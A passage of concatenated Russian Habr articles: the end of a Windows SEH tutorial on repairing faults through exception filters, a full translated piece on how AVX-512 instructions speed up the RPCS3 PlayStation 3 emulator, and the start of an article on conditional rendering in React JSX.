// Only for x86, NOT x64!
if (ExPtrs->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO)
{
DWORD* ptr = (DWORD*)Arg;
(*ptr)++;
printf("Argument with zero value has been incremented\n");
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
```
Как видно, после наших исправлений, вычисления произведены корректно и выполнена следующая за делением инструкция – вывод результата на экран:
Теперь скомпилируем наш пример для x64 и запустим:
Теперь наша программа входит в бесконечный цикл. В чем же дело?
Взглянем на ассемблерный код блока **\_\_try**:
Теперь второй аргумент инструкции **div** хранится в регистре **ECX**. Поэтому, даже изменив значение в памяти (переменную a), значение в регистре **ECX** остается нетронутым. Поэтому, когда из обработчика исключения произойдет возврат к инструкции **div**, снова будет произведено деление на нуль, сгенерировано исключение, а потом будет вызван наш обработчик исключения. Таким образом, получили бесконечный цикл.
Для «исправления» исключения необходимо изменить значение в регистре **ECX**, а потом заново выполнить инструкцию **div**. К счастью, сделать это довольно просто. Обработчик исключения восстанавливает контекст, который был за момент генерации исключения, а затем повторно выполняет инструкцию, вызвавшую исключение. Контекст хранит, в том числе, и значения регистров. Контекст потока хранится в структуре **CONTEXT**, указатель на которую хранится в структуре **EXCEPTION\_POINTERS**, которая может быть получена в блоке **\_\_except** при помощи макроса **GetExceptionInformation**. **GetExceptionInformation** может быть вызвана только в фильтре исключений. В структуре **CONTEXT** имеется поле **Rcx**, в котором сохранено значение регистра **RCX**, младшей частью которого является регистр **ECX**. Данное значение будет восстановлено при повторном выполнении инструкции, сгенерировавшей исключение.
Тогда функция **CustomFilter** должна быть модифицирована следующим образом:
```
DWORD WINAPI CustomFilter(PVOID Arg, PEXCEPTION_POINTERS ExPtrs)
{
// Only for x64, NOT x86!
if (ExPtrs->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO)
{
ExPtrs->ContextRecord->Rcx = 1;
printf("Argument with zero value has been incremented\n");
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
```
Теперь приложение не входит в бесконечный цикл, корректно производит вычисления и выполняет следующую за делением инструкцию – вывод результата на экран:
Для того, чтобы функция **CustomFilter** работала для обоих разрядностей (x86 и x64) можно воспользоваться директивами условной компиляции:
```
DWORD WINAPI CustomFilter(PVOID Arg, PEXCEPTION_POINTERS ExPtrs)
{
if (ExPtrs->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO)
{
#if _WIN64
ExPtrs->ContextRecord->Rcx = 1;
#elif _WIN32
DWORD* ptr = (DWORD*)Arg;
(*ptr)++;
#endif
printf("Argument with zero value has been incremented\n");
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
```
Применяя аналогичный подход, реализуем обработку ошибок обращения по нулевому указателю. Код исключения, возникающего при попытке разыменования нулевого указателя – **EXCEPTION\_ACCESS\_VIOLATION**. Однако, данное исключение может возникнуть и в других случаях, например, обращение по невалидному адресу. Мы же рассмотрим простейший случай. Для отличия обращения по нулевому адресу от других исключительных ситуаций нужно выполнить дополнительные проверки.
Код, генерирующий исключение:
```
BYTE* mem = NULL;
__try
{
mem[0] = 'A';
printf("mem = %s\n", mem);
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, mem);
}
__except(CustomFilter2(&mem, GetExceptionInformation())) { }
```
Разыменование нулевого указателя произойдет в строке:
```
mem[0] = 'A';
```
Данный код преобразуется в следующие инструкции:
Адрес, записанный в переменную **mem**, помещается в регистр **EDX**. В регистр **ECX** помещается индекс, точнее смещение в байтах, кратное размеру элементов массива, относительно начала региона памяти. Код 41h – шестнадцатеричное значение кода символа **‘A’** в таблице ASCII. Исключение нарушения доступа будет сгенерировано инструкцией
```
mov byte ptr [edx+ecx], 41h
```
Таким образом, для «исправления» нам необходимо поместить в регистр **EDX** адрес корректного региона памяти.
На x64 код, генерирующий исключение выглядит так:
Здесь смещение хранится в регистре **RAX**, а адрес региона памяти – в регистре **RCX**. Для «исправления» адрес корректного региона памяти должен быть помещен в регистр **RCX**.
В обработчике исключения выделим в Heap регион памяти и запишем туда данные – символы слова **“Hello”**. Адрес данного региона должен быть сохранен не только в соответствующем регистре в контексте, но и в переменной **mem**, для того, чтобы иметь возможность освободит выделенную память.
Код функции **CustomFilter2**, работающей для обоих разрядностей (x86 и x64):
```
DWORD WINAPI CustomFilter2(PVOID Arg, PEXCEPTION_POINTERS ExPtrs)
{
if (ExPtrs->ExceptionRecord->ExceptionCode == EXCEPTION_ACCESS_VIOLATION)
{
BYTE** ptr = (BYTE**)Arg;
*ptr = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 100);
#if _WIN64
ExPtrs->ContextRecord->Rcx = (ULONG_PTR)*ptr;
#elif _WIN32
ExPtrs->ContextRecord->Edx = (DWORD)*ptr;
#endif
(*ptr)[0] = 'H';
(*ptr)[1] = 'e';
(*ptr)[2] = 'l';
(*ptr)[3] = 'l';
(*ptr)[4] = 'o';
printf("Memory has been allocated\n");
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
```
После запуска приложения видим, что после генерации исключения происходит «исправление» - выделение региона памяти и запись туда символов **“Hello”**, после этого вновь выполняется инструкция, сгенерировавшая исключение, в результате чего первый символ заменяется на **‘A’**. Далее происходит освобождение выделенной памяти.
А что еще можно сделать? Можно вернуться не к машинной инструкции, сгенерировавшей исключение, а к одной из предыдущих. Например, к инструкции, помещающей значение делителя из памяти в регистр. Адрес следующей для выполнения инструкции хранится в регистре **EIP** (x86) или **RIP** (x64). Следовательно, значение этого регистра хранится в поле **Eip** (x86) или **Rip** (x64) структуры **CONTEXT**. Также адрес инструкции, сгенерировавшей исключение хранится в поле **ExceptionAddress** вложенной в **EXCEPTION\_POINTERS** структуры **EXCEPTION\_RECORD**.
Рассмотрим уже известный пример с делением на нуль:
```
DWORD a = 0, b = 1, res = 0;
__try
{
res = b / a;
printf("res = %d\n", res);
}
__except (CustomFilter3(&a, GetExceptionInformation())){ }
```
Для определения адреса инструкции, на которую нам нужно вернуть управление из обработчика воспользуемся дизассемблированным листингом.
х86:
Как мы уже говорили ранее, значение делителя в x86 коде берется непосредственно из памяти. Поэтому изменять значение регистра **EIP** нам не нужно. Нужно только изменить значение переменной **a**, что мы уже и делали в предыдущем примере.
х64:
А вот с x64 кодом ситуация интереснее. Значение переменной **a** берется из памяти и помещается в регистр **EAX**:
```
mov eax, dword ptr [a]
```
А далее это значение помещается в стэк по адресу **[rbp+174h]**:
```
mov dword ptr [rbp+174h], eax
```
Далее значение, хранящееся по этому адресу, помещается в регистр **ECX**:
```
mov ecx, dword ptr [rbp+174h]
```
И, наконец, значение в регистре **ECX** используется в качестве делителя в команде **div**:
```
div eax, ecx
```
Следовательно, после изменения значения переменной **a**, нужно вернутся к инструкции, загружающей значение **a** из памяти, т.е. к:
```
mov eax, dword ptr [a]
```
Рассчитаем разницу адресов между командой, вызвавшей исключение (**div**) и инструкцией, считывающей значение a из памяти:
Таким образом, для повторного считывания значения **a** из памяти необходимо из значения регистра **RIP** вычесть 20.
Код функции-фильтра **CustomFilter3**:
```
DWORD WINAPI CustomFilter3(PVOID Arg, PEXCEPTION_POINTERS ExPtrs)
{
if (ExPtrs->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO)
{
DWORD* ptr = (DWORD*)Arg;
(*ptr)++;
#if _WIN64
ExPtrs->ContextRecord->Rip -= 20;
#endif
printf("Argument with zero value has been reinitialized\n");
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
```
При работе нашего приложения снова получаем исправленный результат:
Как видим, структурированная обработка исключений очень мощный и полезный механизм, который не только позволяет «отловить» исключение, но и исправить данные, которые привели к его генерации. | https://habr.com/ru/post/682958/ | null | ru | null |
# Почему набор инструкций AVX 512 полезен для RPCS3?
Часто приходится слышать, что важность отличий между наборами инструкций на современных компьютерах [преувеличена](https://chipsandcheese.com/2021/07/13/arm-or-x86-isa-doesnt-matter/) и, в самом деле, сложно не согласиться с таким наблюдением. Поскольку стандартная программа на 90 % состоит из простейших инструкций для АЛУ, загрузки и сохранения, а также инструкций ветвления, а также с учётом, что на таком базовом уровне разбежки между различными наборами команд очень невелики, такой вывод просто напрашивается.
Но RPCS3, эмулятор приставки [Sony PlayStation-3](https://rpcs3.net/) - не просто обычная программа. Даже если вам не доводилось работать с самим эмулятором, вам наверняка приводили RPCS3 в пример как образец потребительского ПО, в котором используются сильные стороны AVX-512. В этой статье я расскажу, почему именно новые инструкции и возможности, введённые в семействе AVX-512, так полезны для эмуляции PS3. В некоторых ситуациях использование 512-разрядных инструкций может положительно сказываться на RPCS3, но в этом посте будет рассказано, почему новые инструкции полезны и для 128-разрядных, и для 256-разрядных конфигураций.
Увеличенный файл регистров
--------------------------
К набору инструкций AVX-512 прилагается файл инструкций, который вчетверо больше, чем в AVX2. Ширина регистров увеличилась вдвое, с 256 до 512 бит, и аналогично удвоилось количество регистров, которые есть в распоряжении у программиста: их было 16, а стало 32.
The PS3s В [SPU](https://en.wikipedia.org/wiki/Cell_(microprocessor)#Synergistic_Processing_Elements_(SPE)) (синергичных процессорных блоках) у PS3 есть файл регистров, в который входят 128 отдельных регистров, по 128 разрядов в ширину каждый. В него не входят какие-либо универсальные регистры, в частности, ЦП, и даже адреса памяти будут жить именно в этих регистрах, несмотря на то, что адрес будет использовать всего 32 из 128 доступных разрядов. Поскольку в SPU не реализовано [переименование регистров](https://en.wikipedia.org/wiki/Register_renaming) или [выполнение в свободном порядке](https://en.wikipedia.org/wiki/Out-of-order_execution), критически важно обеспечить размотку циклов в SPU – только так можно воспользоваться преимуществами работы с двумя конвейерами выполнения, которые предоставляются на данном аппаратном обеспечении.
Поскольку в размотанном виде цикл на SPU может использовать до 60 вышестоящих регистров, для эмуляторов здесь возникает проблема. Решение – сливать часть регистров в память, если их нужно слишком много, и все они не вмещаются в регистрах ЦП на хосте. Правда, такая тактика негативно сказывается на производительности. Дополнительные регистры, введённые в AVX-512, помогают сгладить эту проблему, но в целом также её не решают.
Новые формы старых инструкций
-----------------------------
AVX-512 добавляет не только новые инструкции, но и новые варианты кодировки для старых инструкций. Многие инструкции, поддерживавшие операнд памяти, теперь поддерживают возможность «встроенного широковещания», благодаря которой 32-разрядное или 64-разрядное значение из памяти может перед использованием широковещательно сообщаться всем элементам вектора.
Ещё одна полезная возможность новой кодировки – это промежуточный режим адресации “disp8”. В обычных инструкциях для x86-64 встроенное смещение можно запрограммировать всего в одном байте, если значение смещения составляет от -128 до 127. Если фактическое смещение больше, то в кодировке требуется произвести полное смещение на 4 байта, даже если на практике оно сравнительно невелико, скажем, 256. При сжатии disp8 такое смещение можно закодировать всего в одном байте при условии, что оно кратно размеру вектора, и это кратное находится в диапазоне между -128 и 127. Например, смещение в 256 для 128-битного/16-байтного вектора кодировалось бы как 16 \* 16.
К сожалению, в новой кодировке EVEX требуется ещё один байт сверх старой кодировки VEX, которая использовалась инструкциями AVX. Поэтому при применении сжатия disp8 экономится всего 2 байта на каждой инструкции, закодированной в VEX. Кроме того, только инструкции, закодированные в EVEX, могут адресовать регистры 16-31, и не все старые инструкции имеют соответствие в новой кодировке. Эти инструкции по-прежнему могут использоваться в коде AVX-512. Но сложность несколько возрастает, поскольку эти инструкции не могут адресовать все регистры.
Регистры масок
--------------
AVX-512 также добавляет новые регистры масок, которые опционально могут использоваться с инструкциями в кодировке EVEX. Существуют новые инструкции сравнения, генерирующие маску в регистре масок в результате сравнения векторов. Когда регистр масок используется в качестве операнда, все элементы, не накрытые маской, либо будут обнуляться, либо существующее значение будет оставаться в целевом регистре нетронутым. Есть 8 регистров масок, k0 - k7, но только k1 - k7 могут применяться для выборочного накрывания, поскольку k0 неявно действует так, будто выделены все элементы.
Соответственно, подобную последовательность в AVX
```
vpcmpeqd xmm1, xmm2, xmm3
vpaddd xmm2, xmm2, xmm4
vpand xmm2, xmm1, xmm2
```
можно привести примерно к такому сокращенному виду в AVX512:
```
vpcmpeqd k1, xmm2, xmm3
vpaddd xmm2{k1}{z}, xmm2, xmm4
```
На современных ЦП Intel те инструкции, у которых в качестве аргумента применяется регистр масок, отличаются немного повышенной задержкой, хотя при этом и не возникает дополнительных микроопераций (uops). Этот фактор важнее, чем дополнительная задержка на ЦП, обусловленная свободным порядком выполнения. Кроме того, возможность сохранять маски именно в регистре масок, а не в векторных регистрах помогает высвободить больше таких векторных регистров. Фактически, файл регистров AVX-512 оказывается более чем вдвое вместительнее, чем такой файл на AVX2.
Но довольно о старых инструкциях и новых способах работы с ними. Насколько полезны новые инструкции в AVX-512 для RPCS3?
VPLZCNTD
--------
Эта инструкция подсчитывает ведущие нули в каждом 32-разрядном элементе входного вектора. Оказывается, функционально эта работа полностью аналогична тому, что делает инструкция `clz` синергичного процессорного блока.
VPOPCNTB
--------
Эта инструкция подсчитывает единицы в каждом 32-разрядном элементе входного вектора. Оказывается, функционально эта работа полностью аналогична тому, что делает инструкция `cntb` синергичного процессорного блока.
VDBPSADBW
---------
Эта инструкция посложнее, она предназначена для ускорения вычисления [сумм модулей разностей](https://en.wikipedia.org/wiki/Sum_of_absolute_differences). Эта инструкция производит сразу множество таких вычислений, распараллеливая их, а только потом горизонтально суммирует все блоки по 4 байта, получая 16-битные результаты.
Применив для второго входного вектора ввод из одних нулей, можно немного злоупотребить этой инструкцией, эмулировав с её помощью инструкцию горизонтального сложения. Поскольку абсолютная разница между любым числом и нулём составит именно это число, данная инструкция оказывается полезна для горизонтального сложения блоков по 4 байта. Таким образом удобно эмулировать инструкцию `sumb` синергичных процессорных блоков.
VPROLVD/VPROLD
--------------
Эти инструкции поворачивают 32-битные элементы вектора на указанное значение. Таким образом, они аналогичны инструкциям `rot` и `roti` синергичных процессорных блоков.
VPTERNLOG
---------
`vpternlog` – это инструкция, позволяющая серьёзно упростить побитовые операции. Эта инструкция принимает [байт-константу](https://www.officedaytime.com/simd512e/simdimg/ternlogcalc.html), который контролирует её работу. Например, выражение `(a & c) | (b & ~c)` может быть реализовано всего в одной инструкции, для этого можно воспользоваться vpternlog. Данное конкретное выражение выберет биты из каждого вектора, исходя из содержимого c. Это полезно для эмуляции инструкции selb синергичных процессорных блоков.
Мало того, что эта инструкция бесценна для эмуляции любой побитовой инструкции, для которой ранее не существовало аналога в x86, она также бесценна для составления последовательностей более простых побитовых инструкций в меньшие последовательности. Эта инструкция очень гибкая, и, вероятно, полюбится всем SIMD-программистам, которые пишут софт для AVX-512. Единственный недостаток этой инструкции в том, что она зависит от выходного регистра. Было бы удобно иметь две входные версии данной инструкции, а также иметь их на те случаи, когда требуется всего две вводные.
VPDPWSSD
--------
Эта инструкция получена слиянием двух уже имеющихся инструкций x86, `vpmaddwd` и `vpadd`. `vpmaddwd` – инструкция очень специфическая, по вертикали перемножающая пары 16-разрядных чисел до того, как просуммировать результаты по горизорнтали. Инструкция vpdpwssd действует точно так же, с той оговоркой, что приплюсовывает результат и в регистр назначения.
Поскольку SPU поддерживают только 16-разрядное умножение, vpmaddwd полезна для эмуляции только некоторого количества инструкций семейства mpy, относящихся к SPU. Несколько инструкций семейства mpy, например, `mpya`, также добавляются в регистр-аккумулятор. Таким образом, `vpdpwssd` подходит для эмуляции этих инструкций.
Изначально эта инструкция предоставлялась в рамках AVX512-VNNI в процессорах на основе Sunny cove. Но для неё уже существует и версия в кодировке AVX, включённая в процессоры на основе Golden cove и Gracemont.
VRANGEPS
--------
Просматривая [публичную документацию по наборам инструкций для SPU](https://arcb.csc.ncsu.edu/~mueller/cluster/ps3/SDK3.0/docs/arch/SPU_ISA_v1.2_27Jan2007_pub.pdf), можно заметить любопытный маленький абзац, рассказывающий о таком явлении, которое именуется в документации «расширенный формат для чисел с плавающей точкой».
| | |
| --- | --- |
| Поддержка чисел с плавающей точкой одиночной точности (расширенный диапазон), ориентированная на работу с графическим процессором | Большая часть базы кода в игровых приложениях рассчитана на формат чисел с плавающей точкой одиночной точности, отличающийся от формата IEEE 754, обычно внедряемого в процессорах общего назначения. Подробнее о формате одиночной точности см. в разделе 9 на с. 195 |
Что это вообще такое – число с плавающей точкой расширенного диапазона? И что понимается под «Большая часть базы кода в игровых приложениях рассчитана на формат чисел с плавающей точкой одиночной точности, отличающийся от формата IEEE 754, обычно внедряемого в процессорах общего назначения»?
Оказывается, что SPU наследуют этот [причудливый формат с плавающей точкой](https://wiki.pcsx2.net/PCSX2_Documentation/Nightmare_on_Floating-Point_Street) от PS2, где он ранее использовался. Такой формат с плавающей точкой не поддерживает значения NaN (не число) или INF (бесконечность), а интерпретирует их как очень большие числа с плавающей точкой. Как только сгенерировано значение NaN или INF, избавиться от него довольно сложно, так как большинство последующих операций будут возвращать NaN или INF. Например, INF \* 0 = INF. INF \* -0.2 = -INF. NaN \* 3 = NaN.
Единственный способ точно эмулировать это поведение – заново реализовать его в нашем софте, взяв тот вариант чисел с плавающей точкой, который у нас поддерживается. К сожалению, программные реализации чисел с плавающей точкой получаются невероятно медленными, поэтому в RPCS3 (пока) не эмулирован формат чисел с плавающей точкой, рассчитанный на расширенный диапазон (в RPCS3 такой формат называется “XFloat”).
Одно из [возможных решений](https://wiki.pcsx2.net/PCSX2_Documentation/What%27s_clamping%3F_And_why_do_we_need_it%3F) также применяется в [PCSX2](https://pcsx2.net/), эмуляторе PS2. Прикрепив INF и NaN к максимальному и минимальному значениям, представимым на ЦП с архитектурой x86, можно без особых издержек решить большинство проблем, возникающих при работе с числами с плавающей точкой. В AVX нам нужны две инструкции, чтобы прикрепить наши числа с плавающей точкой к какому-нибудь удобному конструкту. Можно использовать vpminsd со значением 0x7f7fffff, а также vpminud со значением 0xff7fffff. Придётся работать с целочисленными версиями этих инструкций, поскольку инструкции min/max для чисел с плавающей точкой будут возвращать NaN, если хотя бы один из операндов окажется NaN.
При использовании vrangeps вырисовывается, как решить эту задачу всего одной инструкцией. Такая инструкция предоставляет надмножество функционала, предлагаемого имеющимися инструкциями min/max для чисел с плавающей точкой. При использовании с этой инструкцией байта-константы 0x2 она будет принимать абсолютное значение нашего ввода, затем минимальное, а затем копировать в результат знаковый бит от первого вводного значения. Так мы сможем одновременно прикрепить значения и с положительного, и с отрицательного края. Критически важно, что эта инструкция будет возвращать NaN лишь в случае, когда оба входных значения являются NaN.
При помощи такой стратегии прикрепления RPCS3 обрабатывает числа с плавающей точкой, когда вы выбираете опции “Relaxed XFloat” или “Approximate XFloat”. При использовании точной опции XFloat RPCS3 попытается эмулировать числа с плавающей точкой (расширенный формат) при помощи чисел с плавающей точкой двойной точности. Так можно обработать некоторые случаи, к которым неприменимо простое прикрепление, но такой подход гораздо медленнее прикрепления, поэтому некоторые игры ломаются с “Accurate XFloat”, но функционируют с “Approximate XFloat”.
Наконец, стоит отметить, что инструкции для работы с числами с плавающей точкой двойной точности, предназначенные для выполнения на SPU, соответствуют требованиям IEEE. В отличие от PS2, где все реализации аппаратного обеспечения для чисел с плавающей точкой не соответствуют стандарту, у каждого аппаратного элемента PS3 – собственное поведение. Математический сопроцессор главного ядра PowerPC на PS3 соответствует требованиям IEEE. Однако реализация векторного математического сопроцессора на том же ядре дотягивает только до соответствия стандарту Java для чисел с плавающей точкой. Добавьте сюда графический процессор PS3, в котором предусмотрено собственное оборудование для чисел с плавающей точкой – и получится, что мы рассматриваем пять различных образцов аппаратного обеспечения для обработки чисел с плавающей точкой, и все они проявляют разное поведение. Вот это беспорядок.
VGF2P8AFFINEQB
--------------
`vgf2p8affineqb` – это инструкция для ускорения криптографических вычислений. Однако многие SIMD-программисты осознают, что она может быть полезна и для решения задач, не связанных с криптографией. Так, для RPCS3 полезна предоставляемая в ней возможность [перестановки битов](http://0x80.pl/articles/avx512-galois-field-for-bit-shuffling.html).
Данная возможность перестановки битов помогает частично эмулировать инструкцию `shufb` из SPU. По поведению shufb подобна инструкции pshufb из x86. Обе эти инструкции переупорядочивают байты, основываясь на индексах, предоставляемых в другом векторе. Также обе инструкции предусматривают специальные условные вводы, которые будут вставлять константу в целевое значение, а не принимать значение от одного из вводных векторов.
У инструкции pshufb из x86 есть всего один вариант условного ввода:
`1xxxxxxx = 0x00`
У инструкции shufb, относящейся к SPU, 3 таких варианта:
`10xxxxxx = 0x00`
`110xxxxx = 0xFF`
`111xxxxx = 0x80`
Кроме того, инструкция `shufb`, относящаяся к SPU, индексирует вектор в обратном порядке, если сравнивать с `pshufb`, а `shufb` также принимает 3 входных значения, 2 вектора с данными и 1 вектор с индексами. Инструкция pshufb принимает только 2 входных вектора, 1 вектор с данными и 1 вектор с индексами.
Подробное объяснение того, как используется `vgf2p8affineqb`, выходит за рамки этой статьи. Реализация shufb для AVX2 обладает обратной пропускной способностью, равной 4, тогда как у версии vgf2p8affineqb обратная пропускная способность равна 2,3. Не слишком хороший результат, учитывая, что обратная пропускная способность для данной инструкции у PS3 равна 1, а рабочая частота машины составляет 3,2 ГГц. Однако лишь для очень малой части инструкций `shufb` потребуется полная эмуляция, благодаря многочисленным оптимизациям, применяемым в обычной практике работы с этой инструкцией.
Мириады новых перестановочных инструкций
----------------------------------------
В синергичных процессорных блоках PS3 предусмотрена всего одна перестановочная инструкция, `shufb`. В x86 имеется множество разных перестановочных и преобразующих инструкций для работы с фрагментами данных разного размера. Однако для перестановки данных любого размера (свыше одного байта) нужна только инструкция `shuffle bytes`.
Когда индексы для инструкций `shufb` константны, можно по мере необходимости воспользоваться одной из таких инструкций, предназначенных для данных более крупного размера. Например, новые инструкции `vpermt2d/vpermi2d` полезны при перестановке 32-битных данных. К сожалению, не все эти новые инструкции одинаково быстры. Инструкции `vpermt2w/vpermi2w` и `vpermt2b/vpermi2b` пригодились бы для перестановки 16-битных и 8-битных данных, но их производительность на современных ЦП неидеальна, так как каждая из этих инструкций требует 3 микрооперации.
Поскольку RPCS3 использует [LLVM](https://en.wikipedia.org/wiki/LLVM) для генерации кода, она должна быть в состоянии выбирать эти новые инструкции, когда уместно. Так как у LLVM есть модель, позволяющая судить, какие инструкции на каждом ЦП быстрые, а какие медленные, она должна быть в состоянии выбрать наилучшую инструкцию для каждой ситуации. Когда/если на новых ЦП эти инструкции станут работать быстрее, LLVM должна быть готова к использованию и тех инструкций, которые ранее считались медленными.
Как всё это сказывается на производительности?
----------------------------------------------
Слева направо: SSE2, SSE4,1, AVX2/FMA и Icelake уровня AVX-512.
Когда целевой платформой является SSE2, производительность абсолютно ужасает; вероятно, дело в отсутствии инструкции pshufb из [SSSE3](https://en.wikipedia.org/wiki/SSSE3). pshufb бесценна для эмуляции инструкции shufb, а также критически важна для векторов перестановки байт – также необходимых, поскольку в системе PS3 действует порядок [от старшего к младшему](https://en.wikipedia.org/wiki/Endianness), а в x86 – от младшего к старшему.
Когда целевой платформой является SSE4,1 достигается в среднем 160 кадров в секунду, а для AVX2/FMA средний показатель составляет 190 кадров в секунду. Соответственно, имеем 18-процентное улучшение по сравнению с целевой платформой SSE4,1. В AVX2 не так много новых инструкций по сравнению с SSE4,1, но всё-таки здесь включена новая 3-операндная форма инструкций, позволяющая исключить многие инструкции mov, отвечающие за перемещение из регистра в регистр. Принципиально, что все ЦП с поддержкой AVX2 также поддерживают инструкции [FMA](https://en.wikipedia.org/wiki/Multiply%E2%80%93accumulate_operation#Fused_multiply%E2%80%93add). Инструкции FMA не просто быстрее, чем цепочки операций умножения и сложения, но и могут выдавать иные результаты, так как не округляют с одинарной точностью при переходе от умножения к сложению. Если нужно точно эмулировать такое поведение без инструкций FMA, то возникают некоторые издержки, поэтому здесь немало помогают нативные FMA-операции.
Когда целевой платформой является Icelake с AVX-512, достигается гомерическое среднее значение 235 кадров в секунду, это на 23% быстрее, чем для целевой платформы AVX2/FMA. В абсолютном выражении в AVX-512 оказалось добавлено настолько много инструкций, что значительная их доля пригодилась и в RPCS3. В отличие от AVX2, которая представляла собой простое расширение имеющихся инструкций SSE до 256 бит, AVX-512 включает очень много новых возможностей, весьма полезных для SIMD-программирования даже при уменьшенной битовой ширине. Правда, поскольку Intel решила продвигать на рынке AVX-512 именно в варианте -512, те, кто не знаком с набором инструкций, обычно останавливаются на 512-разрядном векторе для набора инструкций.
Заключение
----------
Уместен вопрос: а почему стоит нацеливаться на такие новые наборы инструкций, если их поддерживают только новейшие и самые быстрые процессоры? В конце концов, даже при нацеливании на SSE4,1 процессор 12900K @5,2 ГГц может выдавать вполне удобные для работы 160 кадров в секунду. Однако не все ЦП, поддерживающие AVX-512, – восьмиядерные монстры с тактовой частотой 5,2 ГГц. Сегодня большинство ЦП с поддержкой AVX-512 стоят либо на серверах, либо на ноутбуках. Поскольку у Intel наблюдаются проблемы с наращиванием производства линии по 10 нм, компания решила сначала выпустить новый вариант AVX-512, поддерживающий новую линию процессоров для ноутбуков, так как при этом варианте можно обойтись меньшим размером кристалла. При использовании AVX-512 с этими сравнительно слабыми чипами для ноутбуков производительность не удастся вывести выше 200, как на гиганте 12900K, но так будет легче вывести кадровую частоту на более приемлемый уровень.
По поводу недавно анонсированного [Zen 4](https://www.anandtech.com/show/17441/amd-zen-4-update-8-to-10-ipc-uplift-25-more-perfperwatt-vcache-chips-coming) было объявлено, что он также будет поддерживать инструкции AVX-512. Поскольку вероятно, что устройства следующего поколения после [steam deck](https://store.steampowered.com/steamdeck) будут использовать ЦП на базе Zen 4, вполне возможно, что существенно возрастёт количество желающих поиграть в игры на бюджетных устройствах, поддерживающих AVX-512. Даже притом, что целевая кадровая частота достижима уже без AVX-512, подключение оптимизаций AVX-512 могло бы продлить срок службы батареи или обеспечить для GPU более выгодные требования по теплоотводу (TDP), чтобы можно было играть в более высоком разрешении. Мне уже доводилось наблюдать этот феномен на ноутбуке с процессором Tigerlake. При нацеливании на AVX-512 ядра ЦП потребляют на 1W меньше, а GPU использует на 1W больше, что обеспечивает более высокие кадровые частоты в RPCS3.
Вне RPCS3 немногие эмуляторы используют AVX-512, хотя рекомпилятор dynarmic из Arm может результативно задействовать многие инструкции AVX-512. Dynarmic используется эмулятором [Citra](https://citra-emu.org/) от 3DS, а также эмулятором [Yuzu](https://yuzu-emu.org/) от Nintendo Switch и эмулятором [Vita3K](https://vita3k.org/) от PS Vita. Не знаю, предпринимались ли попытки расставить бенчмарки и сравнить целевые платформы AVX2 и AVX-512 для каких-либо из этих эмуляторов, но предположу, что разрыв между ними меньше, чем в случае с RPCS3, поскольку ядра Arm поддерживают как векторные, так и скалярные инструкции. Поскольку в типичной игре больше времени будет тратиться на скалярные инструкции, чем на векторные, потенциальный выигрыш от оптимизации векторных инструкций будет не так велик. В случае с RPCS3 серьёзная причина, по которой такие векторные оптимизации оказываются столь эффективны, заключается в следующем: синергичные процессорные блоки поддерживают операции лишь над векторными регистрами, поэтому всё время, затрачиваемое на эмуляцию SPU, расходуется на выполнение векторных инструкций.
PCSX2 – как раз такой эмулятор, который, вероятно, серьёзно выиграет от оптимизаций AVX-512. Поскольку [элементы векторной обработки](https://en.wikipedia.org/wiki/Emotion_Engine#Vector_processing_units) из PS2 во многом повлияли на поведение и устройство синергичных процессорных блоков, многие оптимизации, применимые к RPCS3, также должны быть актуальны для PCSX2. В частности, `vrangeps` должна быть полезна для улучшения прикрепляющего кода.
Надеюсь, этот пост помог вам немного разобраться в том, почему инструкции AVX-512 полезны для RPCS3. Здесь я не останавливался на каждой из инструкций AVX-512, которая могла бы пригодиться при работе с RPCS3, а заострил внимание на тех, что кажутся мне наиболее интересными. | https://habr.com/ru/post/697972/ | null | ru | null |
# Как писать условия в JSX
Добрый день, меня зовут Павел Поляков, я `Principal Engineer` в каршеринг компании SHARE NOW, в Гамбурге в 🇩🇪 Германии. А еще я автор телеграм канала [Хороший разработчик знает](https://t.me/gooddevknows), где рассказываю обо всем, что обычно знает хороший разработчик.
Сегодня я хочу поговорить про `React` и `JSX`. Почти в каждом проекте мы пишем `JSX` шаблоны, части которых рендерятся в зависимости от условий. Например, показывать ли комментарии или их вовсе нет? Делаем ли мы это правильно? Давайте разберемся. Это перевод [оригинальной статьи](https://thoughtspile.github.io/2022/01/17/jsx-conditionals/).
### Условный рендер в JSX. Советы
Условный рендер является краеугольным камнем в любом языке шаблонов. `React` / `JSX` смело пошли своим путем и решили не выделять для этого специальную синтаксическую конструкцию, как `ng-if="condition"`, а положиться на булевы операторы в `JavaScript` :
* `condition &&` рендерит если условие `condition` вернет `true`
* `condition ? :` рендерит или в зависимости от того, что вернет условие `condition`.
Это безусловно смелый, но не всегда интуитивно понятный, подход. Время от времени я сам стреляю себе в ногу, когда использую `JSX` условия. В этой статье я хочу рассмотреть неоднозначные моменты, которые присущи таким условиям, и дать советы как обезопасить себя:
1. Чтобы цифра `0` внезапно не появлялась в верстке
2. Составные условия с `||` могут удивить вас из-за приоритета
3. Тернарные операторы не очень масштабируются
4. `props.children` не стоит использовать в условиях
5. Как иметь дело с `update` и `remount` в условиях
Если вы сильно спешите, то я сделал шпаргалку:
### Остерегайтесь нуля
Рендер на основе числового условия это обычная практика. Например, мы часто рендерим коллекции, только в том случае, когда они не пусты:
```
{gallery.length && }
```
Но, если переменная `gallery` будет пустой, то мы получим `0` в нашем `DOM`, а не просто ничего. Это происходит из-за того как работает `&&`: неправдивое выражение стоящее слева (такое как 0) немедленно становится результатом выражения. В `JavaScript` булевы операторы не приводят собственный результат к булевым значениям. И это к лучшему, вы ведь не хотите, чтобы выражение справа было приведено к `true`. А `React` потом просто помещает этот 0 в `DOM`, в отличие от `false`, это корректный `React` элемент (опять же, это хорошо, например, в случае “у вас {count} билетов” мы хотим, чтобы был выведен 0).
